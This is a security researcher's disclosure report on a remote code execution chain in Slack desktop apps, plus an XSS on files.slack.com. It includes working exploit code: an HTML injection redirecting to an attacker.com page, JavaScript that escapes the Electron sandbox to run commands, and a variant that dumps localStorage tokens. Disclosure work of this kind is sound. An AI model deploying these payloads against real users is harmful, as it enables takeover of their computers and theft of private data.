Remote Code Execution in Slack desktop apps + bonus
Summary
With any in-app redirect — logic/open redirect, HTML or javascript injection it’s possible to execute arbitrary code within Slack desktop apps. This report demonstrates a specifically crafted exploit consisting of an HTML injection, security control bypass and a RCE Javascript payload. This exploit was tested as working on the latest Slack for desktop (4.2, 4.3.2) versions (Mac/Windows/Linux).
To demonstrate the impact of this RCE vulnerability and how it could be used in various scenarios, a new approach was developed for the starting point (HTML injection & payload) as vulnerabilities reported previously cannot be used anymore #738229.
Finally, as an added bonus, a XSS vulnerability on https://files.slack.com is demonstrated as a possible RCE payload store. I chose to not report this separately as it seems the domain is out of scope (?), however the vulnerability in my opinion is critical by itself and should be fixed either way.
Technical description and steps of reproduction
Exploitation steps:
- Upload file on your HTTPS enabled server with the RCE payload
- Prepare a Slack Post with HTML injection
- Share Post with channel or user
User steps:
- click on a large post with an enticing image — code executed on PC
Actual path after user click:
- HTML redirects user’s desktop app to attacker website in
_top
frame - Attacker website replies with RCE javascript
- exploit bypasses Slack desktop app env, leaks an Electron object and via it executes arbitrary commands on user’s PC.
NOTE: This could also be done with any XSS/in-app redirect vulnerability.
HTML injection — directly editing Slack Post structure as JSON
1. create a new Slack Post with some title and some content
When you create a new Slack Post, it creates a new file on https://files.slack.com with the following JSON structure:
{"full":"<p>content<\/p>","preview":"<p>content<\/p>"}
The URL to a private file can be found by visiting the private file link returned by the /api/files.info
call:
The private file URL is in the format https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE
under url_private
response from /api/files.info
. The Slack Post JSON structure can be observed by simply visiting the private file link.
2. Injecting HTML payload
It’s possible to directly edit this JSON structure, which can contain arbitrary HTML. Javascript execution is restricted by CSP and various security protections are in place for HTML tags (i.e. banned iframe
, applet
, meta
, script
, form
etc. and target
attribute is overwritten to _blank
for A
tags).
However, it is still possible to inject area
and map
tags, which can be used to achieve a one-click-RCE.
To edit the JSON structure directly and inject in that way, you can use the web UI provided by Slack itself:
https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
YOUR-MEMBER-ID
you can copy from your profile view, it's in the format UXXXXXXXX
Alternatively, it’s possible to upload a Javascript/JSON snippet and change it’s filetype to docs
by editing the filetype
parameter with a HTTP proxy.
Upload payload.json with the JSON below:
Change filetype by intercepting request when when editing file, e.g. change title and intercept HTTP request to /api/files.edit
:
Since no HTML embedding is possible and various interesting tags are restricted + Javascript is not available because of existing protections and a defined CSP, a new HTML injection payload was developed:
<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img">
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>
Note this payload requires an image to reference with the attribute usemap
. This can be hosted in Slack infrastructure by uploading an image to Slack beforehand.
JSON to provide for Slack Post edit @ https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
payload.json:
{
"full": "asd",
"preview": "<img src=\"https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png\" width=\"10000\" height=\"10000\" usemap=\"#slack-img\"><map name=\"slack-img\"><area shape=\"rect\" coords=\"10000,10000 0,0\" href=\"https://attacker.com/t.html\" target=\"_self\"></map>"
}
3. RCE exploit code — hosted on attacker’s website
the URL link within the area
tag would contain this HTML / JS exploit for Slack Desktop apps which executes any attacker provided command:
<html>
<body>
<script>
// overwrite functions to get a BrowserWindow object:
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank') // leak BrowserWindow class
nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
nbw.loadURL('about:blank') // need to load some URL for interaction
nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
</script>
</body>
</html>
For windows just replace open /Applications/Calculator.app
with calc
or anything else.
To test the RCE payload, you can open Developer Tools on any Slack Desktop app and paste only the Javascript code in console. It achieves RCE and illustrates that it’s independent of any entry point — i.e. redirect within the desktop app.
4. easy access to all private data without command execution
The payload can be easily modified to access all private conversations, files, tokens etc. without executing commands on the user’s computer:
<html>
<body>
<script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
nbw = new bw.constructor({show: false}) // node not necessary for this demo
nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment
nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>
Essentially, this gives an attacker full remote control over the Slack desktop app via overwriting Slack desktop app env functions and providing a “tunnel” via BrowserWindow
to execute arbitrary Javascript, i.e. a weird XSS case with full access to anything the Slack app has - easy access to private channels, conversations, functions etc.
files.slack.com — alternate payload store and an XSS in itself
During search for an entry point for the RCE exploit, it was discovered that emails (when sent as plaintext) are stored unfiltered on Slack servers at https://files.slack.com and with direct access returned as text/html, without force-download.
This HTML file upload functionality can be used for storing the RCE payload — no need to use own hosting.
Since it’s a trusted domain, it could contain a phishing page with a fake Slack login page or different arbitrary content which could impact both security and reputation of Slack. There are no security headers or any restrictions at all as far as I could tell and I’m sure some other security impact could be demonstrated with enough time.
How to upload html to files.slack.com
Any email client can be used, i.e. in macOS’s default client you can press CMD+SHIFT+T to make an email plaintext, copy paste the RCE payload from above and embed it in your Slack Post HTML injection.
As the “Send To Slack” email address, you have to use your custom email integration address or private email address — instructions. Scroll to “Send one email at a time into Slack with forwarding address” for easy setup — no app integration or installs necessary.
The uploaded HTML file can then be found via the UI “open original” or by the same /api/files.info
API call on e-mail file id and then visiting the url_private
link.
TL;DR
- HTML injection path via web UI — direct editing of Post file structure
- alternatively HTML injection via file conversion from
Javascript/JSON
todocs
- achieves same goal of editing Post structure directly - new pure HTML payload to redirect Slack Desktop app
- new OS-agnostic Remote Code Execution payload — requires any kind of in-app redirect to a malicious page
- XSS in files.slack.com without restriction via e-mail
- all files of course must be shared with the recipients via the usual methods otherwise private files are inaccessible
Impact
Remote Code Execution in Slack desktop apps:
- access to private files, private keys, passwords, secrets, internal network access etc.
- access to private conversations, files etc. within Slack
- payload could be made “wormable” — re-post to all user workspaces after click
XSS in files.slack.com
- arbitrary HTML content in *.slack.com — trusted page
- phishing with fake HTML login page
- can be used to store above RCE exploit